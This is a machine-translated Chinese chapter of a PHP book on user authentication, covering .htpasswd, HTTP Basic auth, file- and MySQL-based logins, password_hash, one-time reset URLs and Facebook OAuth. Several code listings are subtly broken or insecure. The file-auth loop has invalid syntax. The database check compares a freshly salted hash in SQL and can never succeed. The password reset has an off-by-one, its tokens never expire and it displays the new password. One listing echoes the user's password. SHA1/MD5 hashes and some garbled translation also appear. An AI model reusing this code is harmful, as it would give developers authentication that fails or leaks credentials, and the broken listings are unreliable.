文件不必命名为.htpasswd,因此如果您为不同的目录维护不同的密码,您可以相应地命名文件。它还允许您为所有目录共享一个统一的密码文件。

要生成用户名和密码,请打开终端窗口并执行以下命令:

%>htpasswd -c .htpasswd client

执行该命令后,系统会提示您创建并确认与名为client的用户相关联的密码。一旦完成,如果您检查.htpasswd文件的内容,您将看到一行类似于上面显示的示例.htpasswd文件的第二行。您可以通过执行相同的命令来创建额外的帐户,但是省略了-c选项(它告诉htpasswd创建一个新的.htpasswd文件)。

一旦您的.htaccess.htpasswd文件就位,尝试从您的浏览器导航到新限制的目录。如果一切都配置妥当,你会看到一个类似于图 14-1 的认证窗口。

用 PHP 认证你的用户

本章的剩余部分将研究 PHP 的内置认证特性,并演示几种可以立即集成到应用中的认证方法。

PHP 的认证变量

PHP 使用两个预定义的变量来存储和访问来自上述基本 HTTP 认证的内容。分别是:$_SERVER['PHP_AUTH_USER']和$_S ERVER['PHP_AUTH_PW']。这些变量分别存储用户名和密码值。虽然身份验证就像将预期的用户名和密码与这些变量进行比较一样简单,但在使用这些预定义变量时,有两个重要的注意事项需要记住:

  • 这两个变量都必须在每个受限页面的开头进行验证。您可以通过在受限页面上执行任何其他操作之前对用户进行身份验证来轻松实现这一点,这通常意味着将身份验证代码放在一个单独的文件中,然后使用require()函数将该文件包含在受限页面中。

  • 这些变量在 PHP 的 CGI 版本中不能正常工作。

  • 仅当 web 服务器配置为使用 HTTPS 协议时,才使用基本 HTTP 身份验证。

有用的功能

当通过 PHP 处理认证时,通常使用两个标准函数:header()isset()。这两者都在本节中介绍。

发送带有标头()的 HTTP 标头

header()函数向浏览器发送一个原始的 HTTP 头。标题是在浏览器中看到实际内容之前发送的附加信息。报头参数指定发送给浏览器的报头信息。其原型如下:

void header(string header [, boolean replace [, int http_response_code]])

可选的替换参数确定该信息是否应该替换或伴随先前发送的同名报头。最后,可选的 http_response_code 参数定义了一个特定的响应代码,它将伴随着头部信息。请注意,您可以将这段代码包含在字符串中,因为很快就会演示到这一点。应用于用户身份验证时,该函数对于将 WWW 身份验证头发送到浏览器非常有用,可以显示弹出的身份验证提示。如果提交了不正确的身份验证凭据,它对于向用户发送 401 头消息也很有用。下面是一个例子:

<?php
   header('WWW-Authenticate: Basic Realm="Book Projects"');
   header("HTTP/1.1 401 Unauthorized");
?>

请注意,除非启用了输出缓冲,否则必须在返回任何输出之前执行这些命令。当打开输出缓冲时,PHP 将把所有生成的输出保存在内存中,直到代码决定把它发送给浏览器。如果没有输出缓冲,当内容传输到客户端时,就由 web 服务器来处理。由于违反了 HTTP 规范,忽略此规则将导致服务器错误。

确定变量是否用 Is Set()设置

isset()函数确定变量是否被赋值。其原型如下:

boolean isset(mixed var [, mixed var [,...]])

如果变量被设置并且包含不同于空值的值,则返回TRUE,否则返回FALSE。当应用于用户认证时,isset()函数对于确定是否设置了$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']变量很有用。清单 14-1 提供了一个例子。

<?php

    // If the username or password isn't set, display the authentication window
    if (! isset($_SERVER['PHP_AUTH_USER']) || ! isset($_SERVER['PHP_AUTH_PW'])) {
        header('WWW-Authenticate: Basic Realm="Authentication"');
        header("HTTP/1.1 401 Unauthorized");

    // If the username and password are set, output their credentials
    } else {
        echo "Your supplied username: {$_SERVER['PHP_AUTH_USER']}<br />";

echo "Your password: {$_SERVER['PHP_AUTH_PW']}<br />";
    }
?>

Listing 14-1Using isset()

to Verify Whether a Variable Contains a Value

PHP 认证方法

有几种方法可以通过 PHP 脚本实现身份验证。这样做时,您应该始终考虑身份验证需求的范围和复杂性。本节讨论三种实现方法:将登录对直接硬编码到脚本中,使用基于文件的身份验证,以及使用基于数据库的身份验证。花时间研究每种身份认证方法,然后选择最适合您需求的解决方案。

硬编码身份验证

限制资源访问的最简单方法是将用户名和密码直接硬编码到脚本中。这是一种不好的做法,因为它将允许任何有权访问脚本的人读取这些值。此外,这是一种非常不灵活的处理安全性的方式,因为每次发生变化时都必须更新脚本。如果您决定使用这种方法,您应该存储一个哈希而不是明文密码。清单 14-2 提供了一个如何实现这一点的例子。

$secret = 'e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4';
if (($_SERVER['PHP_AUTH_USER'] != 'client') ||
   (hash('sha1', $_SERVER['PHP_AUTH_PW']) != $secret)) {
      header('WWW-Authenticate: Basic Realm="Secret Stash"');
      header('HTTP/1.0 401 Unauthorized');
      print('You must provide the proper credentials!');
      exit;
}

Listing 14-2Authenticating Against a Hard-Coded Login Pair

在本例中,如果$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']分别等于clientsecret,则代码块不会执行,该代码块后面的任何代码都将执行。否则,系统会提示用户输入用户名和密码,直到提供正确的信息,或者由于多次身份验证失败而显示 401 未授权消息。

请注意,我们不是直接比较密码。相反,我们使用 sha1 散列函数将其与存储值进行比较。在这种情况下,该值由以下命令行语句生成:

$ php -r "echo hash('sha1', 'secret');"

尽管针对硬编码值的身份验证非常快速且易于配置,但它有几个缺点。首先,所有需要访问该资源的用户必须使用相同的身份验证对。在大多数现实情况下,每个用户必须被唯一地标识,以便可以提供用户特定的偏好或资源。第二,更改用户名或密码只能通过输入代码并进行手动调整来完成。接下来的两种方法消除了这些问题。

基于文件的认证

通常,您需要为每个用户提供一个唯一的登录对,以便跟踪用户特定的登录时间、移动和动作。这很容易用一个文本文件来完成,很像通常用来存储 Unix 用户信息的文件(/etc/passwd)。清单 14-3 提供了这样一个文件。每行包含一个用户名和一个散列密码对,这两个元素用冒号分隔。

jason:68c46a606457643eab92053c1c05574abb26f861
donald:53e11eb7b24cc39e33733a0ff06640f1b39425ea
mickey:1aa25ead3880825480b6c0197552d90eb5d48d23

Listing 14-3The authenticationFile.txt File Containing Hashed Passwords

关于authenticationFile.txt的一个重要的安全考虑是这个文件应该存储在服务器文档根目录之外。如果不是,攻击者可以通过暴力猜测发现该文件,暴露一半的登录组合,并使用彩虹表、密码列表或暴力破解来发现密码。此外,尽管您可以选择跳过密码哈希,但强烈建议不要这样做,因为如果文件权限配置不正确,有权访问服务器的用户可能会查看登录信息。

解析该文件并根据给定的登录对对用户进行身份验证所需的 PHP 脚本只比用于根据硬编码的身份验证对进行身份验证的脚本复杂一点。区别在于脚本的额外任务是将文本文件读入一个数组,然后在数组中循环搜索匹配项。这涉及到几个函数的使用,包括:

  • file(string 文件名):file()函数将一个文件读入一个数组,数组的每个元素由文件中的一行组成。

  • explode(string 分隔符 , string 字符串 [, int 限制 ]):函数explode()将一个字符串分割成一系列子字符串,每个字符串的边界由一个特定的分隔符决定。

  • password_hash(stringpassword, intalgo):password _hash()函数返回一个字符串,其中包含算法和 salt 以及最终的散列。

清单 14-4 展示了一个能够解析authenticationFile.txt的 PHP 脚本,潜在地将用户输入匹配到一个登录对。

<?php

    // Preset authentication status to false
    $authorized = false;

    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {

        // Read the authentication file into an array
        $authFile = file("/usr/local/lib/php/site/authenticate.txt");

        // Search array for authentication match
        foreach ($authFile, $line ) {
            list($user, $hash) = explode(":", $line);
            if ($_SERVER['PHP_AUTH_USER'] == $user &&
               password_verify($_SERVER['PHP_AUTH_PW'], trim($hash)))
            $authorized = true;
            break;
    }

    // If not authorized, display authentication prompt or 401 error
    If (!$_SERVER['HTTPS']) {
      echo " Please use HTTPS when accessing this document";
      exit;
    }
    if (!$authorized) {
        header('WWW-Authenticate: Basic Realm="Secret Stash"');
        header('HTTP/1.0 401 Unauthorized');
        print('You must provide the proper credentials!');
        exit;
    }
    // restricted material goes here...
?>

Listing 14-4Authenticating a User Against a Flat File Login Repository

尽管基于文件的身份验证系统对于相对较小的静态身份验证列表很有效,但是当您处理大量用户时,这种策略很快就会变得不方便;当用户被定期添加、删除和修改时;或者当您需要将身份验证方案合并到更大的信息基础设施(如预先存在的用户表)中时。实现基于数据库的解决方案可以更好地满足这些需求。下一节演示了这样一个解决方案,使用一个数据库来存储身份验证对。

基于数据库的认证

在本章讨论的各种身份验证方法中,实现数据库驱动的解决方案是最强大的,因为它不仅提高了管理的便利性和可伸缩性,而且还可以集成到更大的数据库基础结构中。出于本例的目的,数据存储仅限于三个字段:主键、用户名和密码。这些列被放入名为logins的表中,如清单 14-5 所示。

注意

如果你不熟悉 MySQL,并且对这个例子中的语法感到困惑,可以考虑从第二十二章开始复习。

CREATE TABLE logins (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   username VARCHAR(255) NOT NULL,
   pswd CHAR(40) NOT NULL
);

Listing 14-5A User Authentication Table

下面是几行示例数据:

id    username    password
1     wjgilmore   1826ede4bb8891a3fc4d7355ff7feb6eb52b02c2
2     mwade       1a77d222f28a78e1864662947772da8fdb8721b1
3     jgennick    c1a01cd806b0c41b679f7cd4363f34c761c21279

清单 14-6 显示了用于根据存储在logins表中的信息验证用户提供的用户名和密码的代码。

<?php
    /* Because the authentication prompt needs to be invoked twice,
       embed it within a function.
    */

    function authenticate_user() {
        header('WWW-Authenticate: Basic realm="Secret Stash"');
        header("HTTP/1.0 401 Unauthorized");
        exit;
    }

    /* If $_SERVER['PHP_AUTH_USER'] is blank, the user has not yet been
       prompted for the authentication information.
    */

    if (! isset($_SERVER['PHP_AUTH_USER'])) {

        authenticate_user();

    } else {

      $db = new mysqli("localhost", "webuser", "secret", "chapter14");

      $stmt = $db->prepare("SELECT username, pswd FROM logins
                  WHERE username=? AND pswd= ?");

      $stmt->bind_param('ss', $_SERVER['PHP_AUTH_USER'], password_hash($_SERVER['PHP_AUTH_PW'], PASSWORD_DEFAULT));

      $stmt->execute();

      $stmt->store_result();

      // Remember to check for erres also!
      if ($stmt->num_rows == 0)
        authenticate_user();
  }

?>

Listing 14-6Authenticating a User Against a MySQL Database

尽管数据库身份验证比前两种方法更强大,但实现起来确实很简单。只需对logins表执行选择查询,使用输入的用户名和密码作为查询标准。当然,这种解决方案不依赖于 MySQL 数据库的特定用途;任何关系数据库都可以代替它。

用户登录管理

当您将用户登录合并到您的应用中时,提供一个可靠的身份验证机制仅仅是整体情况的一部分。如何确保用户选择一个足够难的可靠密码,使得攻击者无法将其作为可能的攻击途径?再者,你如何处理用户忘记密码这一不可避免的事件?这两个主题都将在本节中详细讨论。

密码哈希

以明文形式存储密码存在明显的安全风险,因为任何有权访问文件或数据库的人都可以读取密码,从而获得对系统的访问权限,就好像他们实际上就是该用户一样。使用弱哈希算法,已知的安全问题,甚至在某些情况下逆转过程的能力,几乎与纯文本一样不安全。

PHP 5.5 及以后版本增加了函数password_hash()password_verify()。随着更安全的算法的开发,这些函数被设计成同样安全和可更新的。顾名思义,password_hash()函数用于从密码字符串创建散列。原型看起来像这样:

string password_hash(string $password, integer $algo [, array $options ])

第一个参数是包含明文密码的字符串。第二个参数选择要使用的算法。到目前为止,PHP 支持 bcrypt、Blowfish 和 Argon2。第三个可选选项用于传递算法特定的值,在大多数情况下不使用。更多信息见 https://php.net/manual/en/function.password-hash.php

如果您创建一个简单的测试脚本,它接受一个密码值,然后调用几次password_hash()函数,您将会看到返回值每次都发生变化:

<?php
$password = 'secret';
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
echo password_hash($password , PASSWORD_DEFAULT) . "\n";
?>

该脚本将生成如下所示的输出:

$2y$10$vXQU7uqUGMc/Aey2kpfZl.F23MeCJx08C5ZFDEqiqxkHeRkxek9p2
$2y$10$g9ZJu1A80mzDnAvGENtUHO0lq600U4hXfYZse6R7zfvXEIDbHN8nG
$2y$10$/xqgeR8lsdJQhd.8qyW5XOy0FhNQ5raJ42MpY4/BREER1GATEdENa

如果函数返回不同的结果,就不可能将哈希存储在数据库中,并将其用作与用户尝试进行身份验证时生成的新值的直接比较。这就是password_verify()函数变得有用的地方。这个函数有两个参数:

boolean password_verify ( string $password , string $hash )

第一个是以明文表示的密码,第二个是存储在文件或数据库中的散列。生成散列时,算法、salt 和成本(用于生成散列的参数)都包含在字符串中。这允许验证函数根据密码和这些参数生成新的散列。然后在内存中进行比较,将返回 true 或 false,指示密码是否与哈希值匹配。

一次性网址和密码恢复

毫无疑问,您的应用用户会忘记他们的密码。我们都有忘记这些信息的罪过,这不完全是我们的错。花点时间列出您经常使用的所有不同的登录组合;我猜你至少有 12 种这样的组合,包括电子邮件、工作站、服务器、银行账户、公用事业、在线商务和证券经纪。因为您的应用假定会在用户列表中添加另一个登录对,所以应该有一个简单的自动化机制,用于在忘记密码时检索或重置用户密码。本节研究一种这样的机制,称为一次性 URL。

当没有其他身份验证机制可用时,或者当用户发现身份验证对于手头的任务来说可能太单调乏味时,通常向用户提供一次性 URL 以确保唯一性。例如,假设您维护了一个新闻稿订阅者列表,并想知道哪些订阅者以及有多少订阅者正在对他们在新闻稿中读到的内容采取行动。做出这一决定的最常见方法之一是向他们提供一个指向新闻稿的一次性 URL,可能如下所示:

http://www.example.com/newsletter/0503.php?id=9b758e7f08a2165d664c2684fddbcde2

为了确切地知道哪些用户对这期新闻简报感兴趣,已经为每个用户分配了一个唯一的 ID 参数,如前面的 URL 所示,并存储在某个subscribers表中。这些值通常是伪随机的,使用 PHP 的hash()uniqid()函数导出,如下所示:

$id = hash('sha1', uniqid(rand(),1));

subscribers表格可能如下所示:

CREATE TABLE subscribers (
   id INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   email VARCHAR(255) NOT NULL,
   hash CHAR(40) NOT NULL,
   read CHAR(1)
);

当用户单击此链接,导致新闻稿显示时,将在显示新闻稿之前执行以下查询:

UPDATE subscribers SET read="Y" WHERE hash="e46d90abd52f4d5f02953524f08c81e7c1b6a1fe";

结果是你将确切地知道哪些订户对时事通讯感兴趣。

这个非常相同的概念可以应用于密码恢复。为了说明这是如何完成的,考虑清单 14-7 中显示的修改后的logins表。

CREATE TABLE logins (
   id TINYINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
   email VARCHAR(55) NOT NULL,
   username VARCHAR(16) NOT NULL,
   pswd CHAR(32) NOT NULL,
   hash CHAR(32) NOT NULL
);

Listing 14-7A Revised logins Table

假设这个表中的一个用户忘记了他的密码,于是点击了Forgot password?链接,这通常出现在登录提示符附近。用户到达一个页面,要求他输入电子邮件地址。一旦输入地址并提交表单,就会执行类似于清单 14-8 中所示的脚本。

<?php

    $db = new mysqli("localhost", "webuser", "secret", "chapter14");

    // Create unique identifier
    $id = md5(uniqid(rand(),1));

    // User's email address
    $address = filter_var($_POST[email], FILTER_SANITIZE_EMAIL);

    // Set user's hash field to a unique id
    $stmt = $db->prepare("UPDATE logins SET hash=? WHERE email=?");
    $stmt->bind_param('ss', $id, $address);

    $stmt->execute();

    $email = <<< email
Dear user,
Click on the following link to reset your password:
http://www.example.com/users/lostpassword.php?id=$id
email;

// Email user password reset options
mail($address,"Password recovery","$email","FROM:services@example.com");
echo "<p>Instructions regarding resetting your password have been sent to
         $address</p>";
?>

Listing 14-8A One-Time URL Generator

当用户收到这封邮件并点击链接时,清单 14-9 中所示的脚本lostpassword.php就会执行。

<?php
    $length = 12;
    $valid = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $max = strlen($valid);
    $db = new mysqli("localhost", "webuser", "secret", "chapter14");

    // Create a pseudorandom password $length characters in length
    for ($i = 0; $i < $length; ++$i) {
        $pswd .= $valid[random_int(0, $max)];
    }

    // User's hash value
    $id = filter_var($_GET[id], FILTER_SANITIZE_STRING);

    // Update the user table with the new password
    $stmt = $db->prepare("UPDATE logins SET pswd=? WHERE hash=?");
    $stmt->bind_param("ss", password_hash($pswd, PASSWORD_DEFAULT), $id);
    $stmt->execute();

    // Display the new password
    echo "<p>Your password has been reset to {$pswd}.</p>";
?>

Listing 14-9Resetting a User’s Password

当然,这只是众多恢复机制中的一种。例如,您可以使用一个类似的脚本为用户提供一个重新设置密码的表单。

使用 OAuth 2.0

OAuth 2.0 是用于授权的行业标准协议。该协议允许以多种不同的方式授予对系统的访问权限。它通常与第三方授权服务一起使用,在第三方授权服务中,用户被重定向到另一个站点,在该站点中,用户的身份以某种方式得到验证,验证成功后,uer 被重定向回该站点,服务器可以从第三方站点获得访问令牌。现在有很多 OAuth 2.0 服务,其中一些最常见的是脸书、LinkedIn 和 Google。

有许多可能的库可用于 OAuth2 协议的客户端和服务器实现。使用客户端库可以相对简单地将一个或多个授权服务集成到您的网站中。

以下示例显示了如何与脸书的身份验证 API 集成。这些 API 可用于用户注册和用户认证,并且如果用户授权访问,则提供对附加用户信息的访问。基本概念是从在你的网站上添加一个链接或一个按钮开始的。该按钮将允许用户使用脸书登录。单击该按钮时,API 将打开一个弹出窗口,检查用户是否已经登录到脸书(在同一浏览器的不同选项卡中)。否则,将显示脸书登录对话框。如果用户已经登录,API 将检查用户是否已经被授权访问站点。如果没有访问权限,脸书将不会为该用户提供访问令牌。当访问被授予时,用户将被重定向回站点,在那里可以调用 API 来检索访问令牌。

实现脸书集成的第一步是通过以下 composer 命令安装脸书 SDK:

composer require facebook/graph-sdk

这将在 vendor/facebook/graph-sdk 中安装 sdk 文件。之后的下一步是为您的网站生成一个应用 ID。进入 https://developer.facebook.com ,点击右上角的“我的应用”下拉菜单。然后选择添加新应用选项,并按照表单中的步骤操作。这样做的结果是一个应用 ID 和一个应用秘密。应用 ID 是标识的公共部分,用于识别您的应用或网站。App Secret 是 id 的私有部分。您应该将它存储在一个无法从网站访问的地方。我建议将包含文件放在 web 根目录之外。

要在您的站点上初始化脸书 API,您必须在页面上的 JavaScript 块中包含以下匿名函数:

window.fbAsyncInit = function() {
   FB.init({"appId":"<<APP ID>>","status":true,"cookie":true,"xfbml":true,"version":"v2.11"});
};
(function(d, s, id){
   var js, fjs = d.getElementsByTagName(s)[0];
   if (d.getElementById(id)) {return;}
   js = d.createElement(s); js.id = id;
   js.src = "//connect.facebook.net/en_US/sdk.js";
   fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));

第一部分定义了一个用于初始化 API 的全局函数。在这种情况下,使用您为网站生成的 ID 来更改<>非常重要。

JavaScript 代码的下一部分用作用户单击“用脸书登录”按钮时的响应。

function FacebookLogin() {
    FB.login(function(response) {
        if (response.authResponse) {
          // Perform actions here to validate that the user is known to the site.
          $.post( "/facebook_login.php", function( data ) {
           // Perform action on data returned from the login script.
          });
        }
    }, {scope: 'email,user_birthday'});
}

FacebookLogin()函数用两个参数调用 FB.login API。第一个是将处理响应的 annoynmoys 函数,第二个是将传递给登录 API 的作用域。在这种情况下,除了网站请求访问的 id 之外,范围还标识其他字段。在 actions 部分,您可以放置一个 Ajax POST 请求,该请求将在站点上执行实际的登录操作,验证所选的脸书用户是否与已经在站点上注册的用户相匹配。facebook_login.php文件将类似于下面的清单。

<?php
include('fb_config.inc');

$fb = new \Facebook\Facebook([
    'app_id' => FB_APP_ID,
    'app_secret' => FB_APP_SECRET,
    'default_graph_version' => 'v2.11',
]);

$helper = $fb->getJavaScriptHelper();

try {
    $accessToken = $helper->getAccessToken();
    $fb->setDefaultAccessToken((string) $accessToken);
    $response = $fb->get('/me?fields=id,name');
} catch(\Facebook\Exceptions\FacebookResponseException $e) {
    // When Graph returns an error
    Error('Graph returned an error: ' . $e->getMessage());
    exit;
} catch(\Facebook\Exceptions\FacebookSDKException $e) {
    // When validation fails or other local issues
    Error('Facebook SDK returned an error: ' . $e->getMessage());
    exit;
}

$me = $response->getGraphUser();
// $me is an array with the id of the user and any additional fields requested.

这将为您提供用户的脸书 ID,您可以使用它来识别用户。如果您在第一次登录之前使用脸书注册用户,您将保存 ID 和其他请求的信息,并且您可以使用这些信息来查找用户并在您的站点上执行登录。

摘要

这一章介绍了 PHP 的认证功能,这些功能实际上保证会集成到您未来的许多应用中。除了讨论围绕此功能的基本概念之外,还研究了几种常见的身份验证方法。本章讨论了使用一次性 URL 恢复密码。

下一章讨论另一个流行的 PHP 特性——通过浏览器处理文件上传。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值